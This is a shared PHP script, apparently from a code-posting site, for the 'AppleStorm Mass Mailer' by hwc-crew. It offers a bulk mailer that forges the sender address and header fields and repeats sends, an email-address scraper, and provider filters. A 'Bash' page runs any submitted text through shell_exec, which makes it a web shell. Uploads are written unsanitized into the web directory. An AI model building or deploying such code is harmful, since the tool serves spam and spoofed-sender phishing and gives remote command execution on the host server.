[AppWeb] Mass Mailer / Advanced Options

Download | Vote Up (1) | Vote Down (0)
<?php 
/*-------------------------------------
      Mass Mailer Options :
 • Mailer :
                 - Affichage statistique
                 - Filtres smtp
                 - Gestion d'envois
 • Extracteur d'emails
 • Statistiques générales
 • Consoles bash
---------------------------------------
   MODIFIEZ IDENTIFIANT, MDP, & VOTRE MAIL */
$user = ""; $mdp = ""; $mail_user = "";
/* MODIFIEZ IDENTIFIANT, MDP, & VOTRE MAIL */

session_start(); 
set_time_limit (0); 
if(!file_exists('stats.txt')) {
        $fp = fopen('stats.txt', 'a+');
        fwrite($fp, ';;;;;');
        fclose($fp);
}
        if(isset($_GET['deco'])) { session_destroy(); }
        if(isset($_POST['id']) && isset($_POST['mdp'])) {
                if($user == $_POST['id'] && $mdp == $_POST['mdp']) {
                        $_SESSION['connexion'] = True;
                }
        } 
        function random_str($nbr) {
            $str = "";
            $chaine = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
            srand((double)microtime()*1000);
        
            for($i=0; $i<$nbr; $i++) {
                $str .= $chaine[rand()%strlen($chaine)];
            }
        
            return $str;
        }
?>
<!DOCTYPE html>
<html lang="fr">
    <head>
        <meta charset="utf-8" />
        <meta name="author" content="AppleStorm - Hwc-Crew" />


        <title>AppleStorm Mass-Mailer</title>
        <style type="text/css">
            body {margin:0;padding:0;}
            header {width:100%;height:50px;background-color:#34393E;color:#FCFAE1;}
            logo {margin-left:150px;padding-top:10px;color:white;font-size:25px;position:absolute;}
            nav ul {padding:0;margin-left:450px;list-style-type:none;position:absolute;}
            nav ul li {margin-left:12px;float:left;}
            nav ul li a {color:#8CC6D7;text-decoration:none;}
            nav ul li a:hover {color:#5F8CA3;text-decoration:underline;}
            #content {width:1024px;margin-left:auto;margin-right:auto;}
            #connexion {margin-top:150px;width:250px;height:100px;background-color:#8CC6D7;-webkit-border-radius: 10px;-moz-border-radius: 10px;border-radius: 10px;margin-left:auto;margin-right:auto;padding-top:25px;padding-left:25px;color:white;}
            #connexion input[type=text], input[type=password] {-webkit-border-radius: 10px;-moz-border-radius: 10px;border-radius: 10px;height:19px;padding-left:5px;border: 1px solid #fff;}
            #connexion input[type=submit] {margin-left:155px;margin-top:5px;}
            #options_mailer {margin-top:20px;height:100px;background-color:#D9EFF5;-webkit-border-top-left-radius: 50px;-webkit-border-bottom-right-radius: 50px;-moz-border-radius-topleft: 50px;-moz-border-radius-bottomright: 50px;border-top-left-radius: 50px;border-bottom-right-radius: 50px;padding-top:10px;padding-left:20px;font-size:10px;}
            #options_mailer label {text-decoration:underline;}
            #options_mailer ul {list-style-type:none;}
            #stat {width:200px;height:100px;margin-left:20px;position:absolute;}
            #filtres {width:200px;height:100px;margin-left:200px;position:absolute;}
            #envois {width:300px;height:100px;margin-left:400px;position:absolute;}
            #envois input {height:12px;margin-top:2px;font-size:9px;}
            #corp_mailer {margin-top:20px;}
            #import_mail {margin-left:650px;position:absolute;margin-top:-570px;}
            #import_mail ul {text-decoration:none;list-style-type:none;}
            #result_mail {margin-left:250px;font-size:13px;color:#8CC6D7;margin-top:50px;}
            #div_g {padding-top:20px;padding-left:20px;position:absolute;margin-top:20px;background-color:#ABC8E2;width:400px;height:400px;-webkit-border-top-left-radius: 20px;-webkit-border-bottom-right-radius: 20px;-moz-border-radius-topleft: 20px;-moz-border-radius-bottomright: 20px;border-top-left-radius: 20px;border-bottom-right-radius: 20px;}
            #div_d {padding-top:20px;padding-left:20px;color:white;position:absolute;margin-left:450px;margin-top:20px;background-color:#375D81;width:400px;height:400px;-webkit-border-top-right-radius: 20px;-webkit-border-bottom-left-radius: 20px;-moz-border-radius-topright: 20px;-moz-border-radius-bottomleft: 20px;border-top-right-radius: 20px;border-bottom-left-radius: 20px;}
            #stats_g {background-color:#A2B5BF;width:220px;height:90px;margin-top:20px;position:absolute;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius: 20px;padding-top:50px;padding-left:60px;}
            #stats_d {background-color:#5F8CA3; width:450px;height:300px;margin-top:20px;position:absolute;-webkit-border-radius: 20px;-moz-border-radius: 20px;border-radius: 20px;margin-left:350px;padding-top:30px;padding-left:30px;color:white;}
            #bash { width:800px;height:500px;margin-top:20px;background-color:#34393E;border-radius:10px;margin-left:auto;margin-right:auto;text-align:center;padding-top:20px;}
                  #bash_in { width:760px;height:470px;background-color:white;margin-left:auto;margin-right:auto;border-radius:10px;font-family:"Trebuchet MS";font-color:black;font-size:10px;padding-top:15px;padding-left:15px;text-align:left;}
                  #bash_in textarea {border:0px;}
            footer {color:white;bottom:0;width:100%;height:100px;background-color:#34393E;position:absolute;text-align:center;}
            footer a {color:white;}
        </style>
        <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
        <script type="text/javascript">
                $(document).ready(function(){
                        $("#connexion").hide();
                        $("#connexion").fadeIn(3000);
                });
        </script>
        
    </head>
    <body>
        <header>
            <nav>
                <logo>AppleStorm Mass Mailer</logo>
                <ul>
                    <li><a href="?cat=mailer">Mailer</a></li>
                    <li><a href="?cat=mailliste">MailListe</a></li>
                    <li><a href="?cat=stats">Stats</a></li>
                    <li><a href="?cat=bash">Bash</a></li>
                    <li><a href="?deco=1">Déconnexion</a></li>
                </ul>
            </nav>
        </header>
        <div id="content">
            <?php 
            
            if(!isset($_SESSION['connexion'])) { ?>
                    <div id="connexion">
                            <form method="POST" action="#">
                                    <label>Identifiant</label> <input type="text" name="id" /><br/><br/>
                                    <label>Password</label> <input type="password" name="mdp" /><br/><br/>
                                    <input type="submit" value="connexion" />
                            </form>
                    </div>
           <?php }else{ /* Si mail + no submit form */
                    if(!isset($_GET['cat']) or $_GET['cat'] == 'mailer' && !isset($_POST['submit_mail'])) {
                            ?>
                            <div id="options_mailer">
                                    <form method="POST" action="?cat=mailer" enctype="multipart/form-data">
                                            <div id="stat">
                                                    <label title="Retourne les statistiques d'envois">Statistiques</label>
                                                    <ul>
                                                            <li><input type="checkbox" name="nbr_mail" checked/> <label title="Retourne le nombre de mail envoyés">Nbr envois</label></li>
                                                            <li><input type="checkbox" name="verif" checked/><label title="Vous envois un mail à la fin de la procédure avec les statistiques">Vérification</label></li>
                                                            <li><input type="checkbox" name="time" checked/> <label title="Retourne le temps passé à envoyer les mails">Timer</label></li>
                                                    </ul>
                                            </div>
                                            <div id="filtres">
                                                    <label title="Empêche l'envois aux smtp suivants">Filtres</label>
                                                    <ul>
                                                            <li><input type="checkbox" name="smtp_google" /><label>Gmail</label></li>
                                                            <li><input type="checkbox" name="smtp_hotmail" /><label>Hotmail</label></li>
                                                            <li><input type="checkbox" name="smtp_other" /><label title="caramail, yahoo, laposte...">Autres</label></li>
                                                            <li><input type="checkbox" name="smtp_perso" /><label title="Adresses privés type @societe.com...">Perso</label></li>
                                                    </ul>
                                            </div>
                                            <div id="envois">
                                                    <label title="Paramètres d'envois des mails">Mails</label>
                                                    <ul>
                                                            <li><input class="" name="nbr_send" value="1" size="1"> <label>Nombre d'envois</label></li>
                                                            <li><input name="sender" size="15" value="@"> <label>Mail expediteur</label></li>
                                                            <li><input name="subject" size="" value=""> <label>Sujet</label></li>
                                                    </ul>
                                            </div>
                                            
                                    
                            </div>
                            <div id="corp_mailer">
                                                
                                                        <textarea name="corp_mail" cols="128" rows="30"></textarea>
                                                
                            </div>
                            <div id="import_mail">
                                                    <ul>
                                                            <li><input type="file" name="txt_mail" /></li><br/><br/>
                                                            <li><input type="submit" name="submit_mail" value="envoyer les mails" /></li>
                                                    </ul>
                                                    </form>
                                            </div>
                            <?php
                    } /* Si mail + submit du formulaire */
                    if(isset($_POST['submit_mail'])) {
                            ?>
                            <div id="result_mail">
                            <?php
                            $dossier = '';
                            $fichier = basename($_FILES['txt_mail']['name']);
                            if(move_uploaded_file($_FILES['txt_mail']['tmp_name'], $dossier . $fichier)) {
                                    echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Upload effectué avec succès !<br/>';
                                    $data = file_get_contents($fichier);
                                    echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Lecture du fichier effectué avec succès !<br/>';
                                    $convert = explode(";", $data);
                                    if(isset($_POST['smtp_google'])) { /* suppression des entrées gmail */
                                            foreach($convert as $clef => $element) {
                                                    if(strpos($element,'@gmail')) {
                                                            unset($convert[$clef]);
                                                    }
                                            }
                                    }
                                    if(isset($_POST['smtp_hotmail'])) { /* suppression des entrées hotmail */
                                            foreach($convert as $clef => $element) {
                                                    if(strpos($element,'@hotmail') || strpos($element,'@live')) {
                                                            unset($convert[$clef]);
                                                    }
                                            }
                                    }
                                    if(isset($_POST['smtp_other'])) { /* suppression des entrées other */
                                            foreach($convert as $clef => $element) {
                                                    if(strpos($element,'@caramail') || strpos($element,'@yahoo') || strpos($element,'@laposte') || strpos($element,'@lycos') || strpos($element,'@orange') || strpos($element,'@sfr') || strpos($element,'@free') || strpos($element,'@noos') || strpos($element,'@numericable') || strpos($element,'@alice') || strpos($element,'@bbox')) {
                                                            unset($convert[$clef]);
                                                    }
                                            }
                                    }
                                    if(isset($_POST['smtp_perso'])) { /* suppression des entrées perso */
                                            foreach($convert as $clef => $element) {
                                                    if(!strpos($element,'@caramail') || !strpos($element,'@yahoo') || !strpos($element,'@laposte') || !strpos($element,'@lycos') || !strpos($element,'@orange') || !strpos($element,'@sfr') || !strpos($element,'@free') || !strpos($element,'@noos') || !strpos($element,'@numericable') || !strpos($element,'@alice') || !strpos($element,'@bbox') || !strpos($element,'@live') || !strpos($element,'@hotmail')  || !strpos($element,'@gmail')) {
                                                            unset($convert[$clef]);
                                                    }
                                            }
                                    }
                                    echo '<img src="http://cdn1.iconfinder.com/data/icons/silk2/tick.png" /> Enregistrement & Tries effectués avec succès !<br/>';
                                    $i = 0;
                                    $i_send_mail = 0;
                                    $str = random_str(11);
                                    $sujet = $_POST['subject']."\r\n";
                             $headers = 'From: <'.$_POST['sender'].'>' . "\r\n";
                             $headers .= "X-Mailer: PHP ".phpversion()."\r\n";
                             $headers .= "Reply-To:".$_POST['sender']."\r\n";
                             $headers .= "X-Priority: 3 (Normal)n"."\r\n";
                             $headers .= "Mime-Version: 1.0n"."\r\n";
                             $headers .= "Content-Transfer-Encoding: 8bitn"."\r\n";
                             $headers .= "Date:" . date("D, d M Y h:s:i") . " +0300n"."\r\n";
                             $headers .= "X-Sender: <".$_SERVER['REMOTE_ADDR'].">"."\r\n";
                                                 $headers .= "X-Mailer: PHP"."\r\n";
                                                 $headers .= "X-auth-smtp-user: ".$_POST['sender']."\r\n";
                                                 $headers .= "X-abuse-contact: ".$_POST['sender']."\r\n";
                                                 $headers .= "Content-type: text/html; charsert=iso-8859-1"."\r\n";
                                                 $headers .= "Message-Id: <".date("YmdsiH").".".$str."@".$_SERVER['REMOTE_ADDR'].">";
                                                 $message = $_POST['corp_mail'];
                                                 $temps_debut = microtime(true);
                                    while($i != $_POST['nbr_send']) {
                                            foreach($convert as $value) {
                                                    if(!empty($value)) {
                                                            if(mail($value, $sujet, $message, $headers)) {
                                                         $i_send_mail++;
                                                     }
                                                    }
                                            }
                                            $i++;
                                    }
                                    $temps_fin = microtime(true);
                                    $time_end = round($temps_fin - $temps_debut, 4);
                                    // ------ STATS PUT --------
                                    if(file_exists('stats.txt')) {
                                            $data = file_get_contents("stats.txt"); //lecture
                                                        $convert = explode(";", $data); // chaque ;
                                                        $convert[0] = $convert[0]+$i_send_mail; // NBR mail Send
                                                        $convert[1] = $convert[1]+"1"; // NBR send mail
                                                        $convert[2] = $convert[2]+$time_end; // NBR TIME send mail
                                                        $convert[3] = $convert[3]; // NBR mail extract
                                                        $convert[4] = $convert[4]; // NBR extract mail
                                                        file_put_contents('stats.txt', $convert[0].';'.$convert[1].';'.$convert[2].';'.$convert[3].';'.$convert[4]);
                                                        
                                    }
                                    if(isset($_POST['time'])) {
                                            echo 'Temps d\'execution : '.$time_end.'<br/>';
                                    }
                                    if(isset($_POST['nbr_mail'])) {
                                            echo 'Nombre de mails envoyés : '.$i_send_mail.'<br/>';
                                    }
                                    if(isset($_POST['verif'])) {
                                            $message = 'Nombre de mail envoyés : '.$i_send_mail.'<br/> Temps d\'envois : '.$time_end.' sec';
                                            mail($mail_user, 'Statistiques d\'envois de mails', $message, $headers);
                                    }
                                    
                            }else{ echo '<img src="http://cdn1.iconfinder.com/data/icons/lynx/16x16/actions/dialog-close.png" width="10"/> Echec de l\'upload !'; } ?>
                    </div> <!-- id="result_mail" -->
                    <?php
                    }/* ------------- DEBUT PAGE MailListe ------------- */
                    if(isset($_GET['cat']) && $_GET['cat'] == 'mailliste') {
                            ?>
                            <div id="div_g">Extracteur d'emails<br/>
                                    <form method="POST" action="mailer.php?cat=mailliste">
                                            <textarea name="in_mail" cols="46" rows="22">Insérez des données</textarea><br/><br/>
                                            <input type="submit" value="Extraire" />
                                    </form>
                            </div>
                            <div id="div_d">Résultats<br/>
                                    <textarea cols="46" rows="22">
                                    <?php 
                                    if(isset($_POST['in_mail'])) {
                                            preg_match_all('`\w(?:[-_.]?\w)*@\w(?:[-_.]?\w)*\.(?:[a-z]{2,4})`', $_POST['in_mail'], $out, PREG_SET_ORDER);
                                            $i_val=0;
                                            $count=0;
                                            $stat_exem = 0;
                                            foreach($out as $val) {
                                                    echo $val[$i_val].';';
                                                    $count++;
                                            }
                                            if(file_exists('stats.txt')) {
                                                    $data = file_get_contents("stats.txt"); //lecture
                                                                $convert = explode(";", $data); // chaque ;
                                                                $convert[0] = $convert[0]; // NBR mail Send
                                                                $convert[1] = $convert[1]; // NBR send mail
                                                                $convert[2] = $convert[2]; // NBR TIME send mail
                                                                $convert[3] = $convert[3] + $count; // NBR mail extract
                                                                $convert[4] = $convert[4] + "1"; // NBR extract mail
                                                                file_put_contents('stats.txt', $convert[0].';'.$convert[1].';'.$convert[2].';'.$convert[3].';'.$convert[4]);
                                                                
                                            }
                                    }
                                    
                                    
                                    ?>
                                    
                                    </textarea>
                                    <?php if(isset($_POST['in_mail'])) { echo $count.' Mails trouvés ;)'; $stat_m_ex = $count;} ?>
                            </div>
                            <?php
                    } /*-------------- DEBUT PAGE STATS ----------------------- */
                    if(isset($_GET['cat']) && $_GET['cat'] == 'stats') {
                            if(file_exists('stats.txt')) {
                                    $data = file_get_contents("stats.txt");//lecture
                                    $convert = explode(";", $data);
                                    ?>
                                    <div id="stats_g"><form method="POST" action="mailer.php?cat=stats"><input type="submit" name="erase_stat" value="Effacer toutes les données" /></form></div>
                                    <div id="stats_d">
                                            <?php echo 'Nombre de mails envoyés : <u>'.$convert[0].'</u> En <u>'.$convert[1].'</u> procédures.<br/><br/><br/>';
                                            echo '<u>'.$convert[2].'</u> secondes de procédure.<br/><br/><br/>';
                                            if($convert[1] != "") { $div_ms_sm = $convert[0]/$convert[1]; }else{ $div_ms_sm = "0"; }
                                            echo 'Soit <u>'.$div_ms_sm.'</u> mails moyen par procédure.<br/><br/><br/>';
                                            echo '<u>'.$convert[3].'</u> de mails extraits en <u>'.$convert[4].'</u> procédures<br/><br/><br/>';
                                            if($convert[4] != "") { $div_me_em = $convert[3]/$convert[4]; }else{ $div_me_em = "0"; }
                                            echo 'Soit <u>'.$div_me_em.'</u> extraits par procédures.';?>
                                            
                                            <?php if(isset($_POST['erase_stat'])) { file_put_contents('stats.txt', ';;;;;'); } ?>
                                    </div>
                                    <?php
                            }
                    } /*--------------- DEBUT PAGE BASH ------------------- */
                    if(isset($_GET['cat']) && $_GET['cat'] == 'bash') {
                            if(!empty($_POST['code_bash'])) { 
                                    if(empty($_POST['code_bash_prev'])) { $_POST['code_bash_prev'] = ' '; }
                                                $output_exe_shell = '> '.shell_exec($_POST['code_bash']);
                                                $output_last_exe_shell = $_POST['code_bash_prev']."\n".$_POST['code_bash']."\n".$output_exe_shell;
                                        } ?>
                                        <div id="bash">
                                                <div id="bash_in">
                                                        Login: <?php echo date(DATE_RFC822); ?> > on console <?php echo "hwc-crew 5#331 :~ "; ?><br/><br/>
                                                        <form method="POST" action="?cat=bash&exe_bash">
                                                        <?php if(isset($output_exe_shell)) { ?>
                                                        <textarea cols="93" rows="10" name="code_bash_prev"><?php echo $output_last_exe_shell; ?></textarea><hr/><?php } ?>
                                                        <textarea cols="93" <?php if(isset($output_exe_shell)) { ?> rows="18" <?php } else { ?> rows="30" <?php } ?> name="code_bash">#!/bin/bash</textarea>
                                                        <input type="submit" value="execution du script"/>
                                                        </form>
                                                </div>
                                        </div>
                                <?php
                    }
                    
            } ?>
        </div>
        <footer>
            <br/><br/>Développé par AppleStorm pour <a href="http://hwc-crew.com">hwc-crew</a> {database}
        </footer>
    </body>
</html>

AppleStorm


Be the first to give feedback !

Please login to comment !